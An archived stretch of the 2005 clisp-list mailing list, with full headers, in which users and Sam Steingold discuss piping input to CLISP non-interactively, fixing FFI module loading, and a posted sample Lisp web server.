Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: external module and building own lispinit.mem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 14:45:45 2005 X-Original-Date: Tue, 01 Nov 2005 17:42:45 -0500 > * Dimitrios Kapanikis [2005-11-01 22:17:48 +0100]: >> is kivcparser.o actually generated? > > yes, it is use "nm" to find out whether the missing function is actually there -- Sam Steingold (http://www.podval.org/~sds) running w2k A poet who reads his verse in public may have other nasty habits. From guadarrama@in.tu-clausthal.de Wed Nov 02 01:21:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXEoK-0008Me-Q8 for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 01:21:36 -0800 Received: from zaphod.in.tu-clausthal.de ([139.174.100.142] helo=mail.in.tu-clausthal.de) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXEoH-0007Ym-3i for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 01:21:36 -0800 Received: from [192.168.0.250] (p54867FC3.dip.t-dialin.net [84.134.127.195]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by mail.in.tu-clausthal.de (Postfix) with ESMTP id D0E782E8036 for ; Wed, 2 Nov 2005 10:21:27 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> <22348f04fbae6625c80d17b4fabff703@in.tu-clausthal.de> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Juan C.Acosta Guadarrama To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 2 01:22:16 2005 X-Original-Date: Wed, 2 Nov 2005 10:21:22 +0100 Oh, I see!!! So, what I have should done from the beginning is $ echo "(print (+ 11 99))"|clisp - STACK depth: 16367 110 instead of just $echo "(+ 11 99)"|clisp - In conclusion, I think the former is the best way for an on-line interpreter. BTW, have you got at hand an on-line document where I may find a list of all clisp built-in functions? Thank you very much, I really appreciate your time and kind replies. Best, Jn On 1 Nov 2005, at 19:14, Sam Steingold wrote: >> * Juan C.Acosta Guadarrama >> [2005-11-01 18:27:31 +0100]: >> >>> the above line ("lispfile='-' ==> ...") appears only in the >>> "lispfile" >>> argument section, not "-c" argument section. >> >> yes, I know. But when trying: >> >> $ echo "(+ 11 99)"|clisp -q >> STACK depth: 16367 > > BTW, why did you configure "--with-debug"? > >> [1]> >> 110 >> >> I receive what I expect, except from my Apache server. Then I tried >> the >> "-" option, clearly described (but perhaps not implemented) at the >> same >> paragraph we're talking about, and check it out: >> >> $ echo "(+ 11 99)"|clisp -q - >> STACK depth: 16367 >> >> what is that for? > > well, let us think a little bit. > > what does "echo ... | clisp" do? > this makes clisp run the usual REPL (since it is not told otherwise), > so CLISP prints the prompt "[1]> ", reads your input "(+ 11 99)", > evaluates it, and prints the result "110". > > what does "echo ... | clisp -" do? > "-" is a "script" (aka "lispfile") argument, so there is no REPL, no > prompt, and the result is not printed. > to get some output, you need to explicitly specify that: > > $ echo "(print (+ 11 99))"|clisp -q -norc - > 110 > > try several forms in the echo: > > echo "(setq x 1) (print x) (incf x) (print x)" > > and pipe it to "clisp" and "clisp -" > >>> at any rate, how do you imagine compilation of standard output? >>> where would the compiled forms be written? > > I meant "compilation of standard input". > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Bus error -- driver executed. > From dimitrios.kapanikis@gmail.com Wed Nov 02 05:28:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXIev-0002So-IR for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 05:28:09 -0800 Received: from xproxy.gmail.com ([66.249.82.204]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXIev-0000mo-6m for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 05:28:09 -0800 Received: by xproxy.gmail.com with SMTP id s13so198830wxc for ; Wed, 02 Nov 2005 05:28:06 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=S6L1YorKTKlePOuRWk/BuXQDV0glwM7odb8K/OklXn6OsONJd2RgKfj++zj3612EqcYdTiDmT84UHlgKnVvzxDzAEoQruwDRuiFagUGexchlbb7PPGUQab19QJvUjLrQVKUl8R6Juae6J/woGJjHB+dnwGJI+7hwc+xwIjT5IJo= Received: by 10.64.185.7 with SMTP id i7mr1794772qbf; Wed, 02 Nov 2005 03:41:39 -0800 (PST) Received: by 10.65.192.2 with HTTP; Wed, 2 Nov 2005 03:41:39 -0800 (PST) Message-ID: <243236a40511020341l5ff3e4d9v8011698095628886@mail.gmail.com> From: Dimitrios Kapanikis To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <243236a40510240504n35cf1b2cs@mail.gmail.com> <243236a40510261607v342fdacas2e318ac6299dc6ab@mail.gmail.com> <243236a40510270029o4a87c78ftc3e6772a3b6c2559@mail.gmail.com> <243236a40511011317v2a977c93kd7bf8f5cf8027533@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: external module and building own lispinit.mem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 2 05:31:58 2005 X-Original-Date: Wed, 2 Nov 2005 12:41:39 +0100 > >> is kivcparser.o actually generated? > > > > yes, it is > > use "nm" to find out whether the missing function is actually there well, nm says in kivcparser.o: U _abort U _callback_saved_registers U _convert_from_foreign U _convert_to_foreign_nomalloc U _funcall U _kivcparser_c_javaparser U _kivcparser_c_parser 00000550 T _kivcparser_call_lisp_handler U _kivcparser_get_textpointer U _kivcparser_get_tokenstart 00000ac0 T _kivcparser_java_idnode and in lisp.exe: 00410b73 T _kivcparser_c_javaparser 00410b29 T _kivcparser_c_parser 004118d0 T _kivcparser_call_lisp_handler 00410b15 T _kivcparser_get_textpointer 00410b1f T _kivcparser_get_tokenstart 00411e40 T _kivcparser_java_idnode 00411ca0 T _kivcparser_java_make 00411d70 T _kivcparser_java_node 00411bf0 T _kivcparser_java_push and in win32-grammar.o: 0000fb23 T _kivcparser_c_javaparser 0000fad9 T _kivcparser_c_parser U _kivcparser_call_lisp_handler 0000fac5 T _kivcparser_get_textpointer 0000facf T _kivcparser_get_tokenstart as the errormessage of lisp.exe said, kivcparser_c_parser is not defined in lisp.exe does it mean kivcparser.o is not bound? because there are more functions which are undefined in lisp.exe From sds@gnu.org Wed Nov 02 07:04:23 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXKA3-0006sf-ME for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 07:04:23 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXK9x-0003mv-QF for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 07:04:23 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA2F3xLE020177; Wed, 2 Nov 2005 10:04:01 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Juan C.Acosta Guadarrama" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Juan C. Acosta Guadarrama's message of "Wed, 2 Nov 2005 10:21:22 +0100") References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> <22348f04fbae6625c80d17b4fabff703@in.tu-clausthal.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Juan C.Acosta Guadarrama Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 2 07:13:31 2005 X-Original-Date: Wed, 02 Nov 2005 10:03:03 -0500 > * Juan C.Acosta Guadarrama [2005-11-02 10:21:22 +0100]: > > Oh, I see!!! > > So, what I have should done from the beginning is > > $ echo "(print (+ 11 99))"|clisp - > STACK depth: 16367 why did you configure clisp with the --with-debug option? > 110 > > > instead of just > > $echo "(+ 11 99)"|clisp - > > > In conclusion, I think the former is the best way for an on-line > interpreter. while clisp starts quite fast, this is still suboptimal. it's better to run a single clisp session and talk to it via a pipe. > BTW, have you got at hand an on-line document where I may find a list > of all clisp built-in functions? I am not sure what you are talking about. clisp implements ~1000 symbols mentioned in the ANSI CL spec plus many extensions. clisp manual is called "implementation notes" and is available at in the html format. (a single-file HTML is at http://clisp.cons.org/impnotes.html I also offer a 405-page PDF for sale, together with commercial support &c). First part parallels the ANSI spec and explains what choices clisp makes when ANSI left something to the implementation. Other parts document clisp extensions to the standard. > Thank you very much, I really appreciate your time and kind replies. welcome. -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't hit a man when he's down -- kick him; it's easier. From Devon@Jovi.Net Wed Nov 02 07:52:56 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXKv1-0000me-RN for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 07:52:55 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EXKuy-00018m-12 for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 07:52:55 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jA2FqLMQ008245 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Nov 2005 10:52:22 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jA2FqGh0008186; Wed, 2 Nov 2005 10:52:16 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200511021552.jA2FqGh0008186@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: "Juan C.Acosta Guadarrama" CC: clisp-list@lists.sourceforge.net In-reply-to: (guadarrama@in.tu-clausthal.de) Subject: Re: [clisp-list] Re: non-interactive clisp References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> <22348f04fbae6625c80d17b4fabff703@in.tu-clausthal.de> X-Spam-Status: No, score=-4.2 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Wed, 02 Nov 2005 10:52:31 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 2 08:05:06 2005 X-Original-Date: Wed, 2 Nov 2005 10:52:16 -0500 (EST) Juan C.Acosta Guadarrama [2005-11-02 10:21:22 +0100]: ... $ echo "(print (+ 11 99))"|clisp - ... That starts up a new process for every transaction, an on-line lisp listener with amnesia. Probably better to keep the same process for the same user who can then define functions, set globals, etc., e.g., this quick hack I wrote last night, see below. Peace --Devon PS: web-server.lisp code follows. Security implications of arbitrary user code running in your server are left as an exercise for the reader but you already had that problem. $ clisp -q -i sample-web-server.lisp ;;; sample-web-server.lisp -- Single threaded web server in Common Lisp -*- tab-width:8 -*- ;;; Copyright (c) 2005 Devon Sean McCullough ;;; Licensed under the GPL (GNU Public License) ;;; After messing with full featured servers ;;; it was faster to start from scratch. ;;; Someday maybe I'll read the RFC. ;;; BUGS: not sure how to send a 404 (defvar *RUN*) (defun web-server (&optional (web-server-port 80)) (let ((tcp-listen (socket:socket-server web-server-port))) (do ((*RUN* t)) ((not *RUN*)) (do ((tcp-stream (socket:socket-accept tcp-listen)) op url version (headers '()) (body nil) line (state 0)) ((or (minusp state) (null (setq line (read-line tcp-stream nil)))) (send-http-reply tcp-stream op url version (nreverse headers) body) (finish-output tcp-stream) (close tcp-stream)) (format t "~&~4D ~A~&" state line) (cond ((zerop state) (multiple-value-setq (op url version) (parse-http-first-line line)) (setq state (cond ((zerop version) (ignore-http-body tcp-stream) -1) (t 1)))) ((zerop (length line)) (setq body (parse-http-body tcp-stream headers) state -1)) (t (push (parse-http-header-line line) headers) (setq state (1+ state)))))))) (defvar *CRLF* (map 'string #'identity #(#\Return #\LineFeed)) "Yeah, yeah, I'd use DEFCONSTANT if it weren't constantly bitching.") (defun send-http-reply (stream op url version headers body) (case op (get (cond ((null url) (format stream "403 Where's the URL?~A~A" *CRLF* *CRLF*)) ((string-equal url "/STOP") (setq *RUN* nil) (format stream "Server Stopped Sample Web Server Stopped.
To restart the server at the CLISP prompt enter
(run)
then use your browser's <BACK> and <RELOAD> buttons. ")) ((string-equal url "/foo") (format stream "Foo

Bar

")) ((string-equal url "/bar") (format stream "Bar

Baz

")) ((string-equal url "/favicon.ico") (format stream "404 Gee, where's my cute little iconette?~A~A" *CRLF* *CRLF*)) ((string-equal url "/") (format stream "Sample Web Server

Sample Web Server


© 2005 Devon Sean McCullough
FOO BAR BAZ
MUMBLE BLETCH Click here to stop the server.

Sample Web Server powered by \"CLISP\" ")) (t (format stream "404 Who knows?~A~A" *CRLF* *CRLF*)))) (t (format stream "501 Pardon?~A~A" *CRLF* *CRLF*)))) (defun parse-http-first-line (line) "Better look like \"GET /foo?bar=baz HTTP/1.1\" or we lose." (let* ((s1 (position #\Space line)) (s2 (and s1 (position #\Space line :start (1+ s1)))) (op (if (and s1 (string= "GET" (subseq line 0 s1))) 'get 'bad)) (url (and s1 (string-trim " " (subseq line (1+ s1) s2)))) (version (and s2 (string-trim " " (subseq line (1+ s2)))))) (values op url (cond ((null version) 0.0) ((string= version "HTTP/1.1") 1.1) ((string= version "HTTP/1.0") 1.0) (t -1.0))))) (defun parse-http-header-line (line) line) (defun parse-http-body (stream headers) (ignore-http-body stream)) (defun ignore-http-body (stream) "Discard input up to EOF." #+| don't even read it |(do () ((null (read-char stream nil))))) (defun run (&optional (port 80)) "Facilitate patch-browse-debug cycle." (gc) (load "sample-web-server.lisp") (format t "~&Web Server listening at http://localhost:~D~&" port) (web-server port) (print "Web Server done.") (values)) (princ " To run the sample web server, enter (RUN)") ;;; end sample-web-server.lisp From guadarrama@in.tu-clausthal.de Wed Nov 02 07:40:17 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXKin-00009Q-FF for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 07:40:17 -0800 Received: from www.parco.org ([139.174.100.142] helo=mail.in.tu-clausthal.de) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXKil-0004CK-Mb for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 07:40:17 -0800 Received: from [139.174.100.114] (tribbles.in.tu-clausthal.de [139.174.100.114]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by mail.in.tu-clausthal.de (Postfix) with ESMTP id 841952E8037 for ; Wed, 2 Nov 2005 16:40:13 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> <22348f04fbae6625c80d17b4fabff703@in.tu-clausthal.de> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Juan C.Acosta Guadarrama To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 2 08:07:11 2005 X-Original-Date: Wed, 2 Nov 2005 16:40:13 +0100 On 2 Nov 2005, at 16:03, Sam Steingold wrote: >> * Juan C.Acosta Guadarrama >> [2005-11-02 10:21:22 +0100]: >> >> Oh, I see!!! >> >> So, what I have should done from the beginning is >> >> $ echo "(print (+ 11 99))"|clisp - >> STACK depth: 16367 > > why did you configure clisp with the --with-debug option? I didn't. I just installed it with its default configuration from a remote repository at: http://fink.sourceforge.net/index.php should I configure it otherwise? >> instead of just >> >> $echo "(+ 11 99)"|clisp - >> >> >> In conclusion, I think the former is the best way for an on-line >> interpreter. > > while clisp starts quite fast, this is still suboptimal. > it's better to run a single clisp session and talk to it via a pipe. do you mean using it as a shell? >> BTW, have you got at hand an on-line document where I may find a list >> of all clisp built-in functions? > > I am not sure what you are talking about. > clisp implements ~1000 symbols mentioned in the ANSI CL spec > plus many extensions. > clisp manual is called "implementation notes" and is available at > in the html format. > (a single-file HTML is at http://clisp.cons.org/impnotes.html Thanks a lot! Besides that good single-page manual, I meant a list where I may look up "print" functions and alike ones. > I also offer a 405-page PDF for sale, together with commercial support > &c). Thanks, I'll have it in mind! Best, Juan > First part parallels the ANSI spec and explains what choices clisp > makes > when ANSI left something to the implementation. > Other parts document clisp extensions to the standard. > > >> Thank you very much, I really appreciate your time and kind replies. > welcome. > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > Don't hit a man when he's down -- kick him; it's easier. > From sds@gnu.org Wed Nov 02 10:00:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXMu0-0007w6-HQ for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 10:00:00 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXMtv-0000EZ-Ut for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 10:00:00 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA2HxV3J027596; Wed, 2 Nov 2005 12:59:31 -0500 (EST) To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <243236a40511020341l5ff3e4d9v8011698095628886@mail.gmail.com> (Dimitrios Kapanikis's message of "Wed, 2 Nov 2005 12:41:39 +0100") References: <243236a40510240504n35cf1b2cs@mail.gmail.com> <243236a40510261607v342fdacas2e318ac6299dc6ab@mail.gmail.com> <243236a40510270029o4a87c78ftc3e6772a3b6c2559@mail.gmail.com> <243236a40511011317v2a977c93kd7bf8f5cf8027533@mail.gmail.com> <243236a40511020341l5ff3e4d9v8011698095628886@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: external module and building own lispinit.mem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 2 10:00:42 2005 X-Original-Date: Wed, 02 Nov 2005 12:58:34 -0500 > * Dimitrios Kapanikis [2005-11-02 12:41:39 +0100]: > >> >> is kivcparser.o actually generated? >> > >> > yes, it is >> >> use "nm" to find out whether the missing function is actually there > > well, nm says in kivcparser.o: > U _kivcparser_c_parser "U" means "undefined", right? > and in lisp.exe: > 00410b29 T _kivcparser_c_parser ok, here it is. > as the errormessage of lisp.exe said, kivcparser_c_parser is not > defined in lisp.exe no, the error message says that kivcparser_c_parser was not registered as a foreign function. your error is: TO_PRELOAD='../../../kivcparserdir-2.33.2/kivcparser.fas' TO_PRELOAD should only define packages. your FFI functions go into TO_LOAD. -- Sam Steingold (http://www.podval.org/~sds) running w2k (let((a'(list'let(list(list'a(list'quote a)))a)))`(let((a(quote ,a))),a)) From sds@gnu.org Wed Nov 02 10:10:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXN4F-0000Gr-Ae for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 10:10:35 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXN4D-0007SS-FZ for clisp-list@lists.sourceforge.net; Wed, 02 Nov 2005 10:10:35 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA2IAEm3027961; Wed, 2 Nov 2005 13:10:19 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Juan C.Acosta Guadarrama" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Juan C. Acosta Guadarrama's message of "Wed, 2 Nov 2005 16:40:13 +0100") References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> <22348f04fbae6625c80d17b4fabff703@in.tu-clausthal.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Juan C.Acosta Guadarrama Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 2 10:11:41 2005 X-Original-Date: Wed, 02 Nov 2005 13:09:17 -0500 > * Juan C.Acosta Guadarrama [2005-11-02 16:40:13 +0100]: > > On 2 Nov 2005, at 16:03, Sam Steingold wrote: > >>> * Juan C.Acosta Guadarrama >>> [2005-11-02 10:21:22 +0100]: >>> >>> Oh, I see!!! >>> >>> So, what I have should done from the beginning is >>> >>> $ echo "(print (+ 11 99))"|clisp - >>> STACK depth: 16367 >> >> why did you configure clisp with the --with-debug option? > > I didn't. I just installed it with its default configuration from a > remote repository at: > > http://fink.sourceforge.net/index.php report it to them as a bug. > should I configure it otherwise? up to you. read unix/INSTALL first. >>> instead of just >>> >>> $echo "(+ 11 99)"|clisp - >>> >>> >>> In conclusion, I think the former is the best way for an on-line >>> interpreter. >> >> while clisp starts quite fast, this is still suboptimal. >> it's better to run a single clisp session and talk to it via a pipe. > > do you mean using it as a shell? yes. > I meant a list where I may look up "print" functions and alike ones. (dolist (p (list-all-packages)) (do-external-symbols (s p) (print s))) (you probably want "clisp -K full"). -- Sam Steingold (http://www.podval.org/~sds) running w2k There are no answers, only cross references. From kavenchuk@jenty.by Thu Nov 03 02:59:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXcok-0004xq-6y for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 02:59:38 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXcof-000386-K7 for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 02:59:38 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK71A7; Thu, 3 Nov 2005 13:00:27 +0200 Message-ID: <4369EDE0.10300@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net 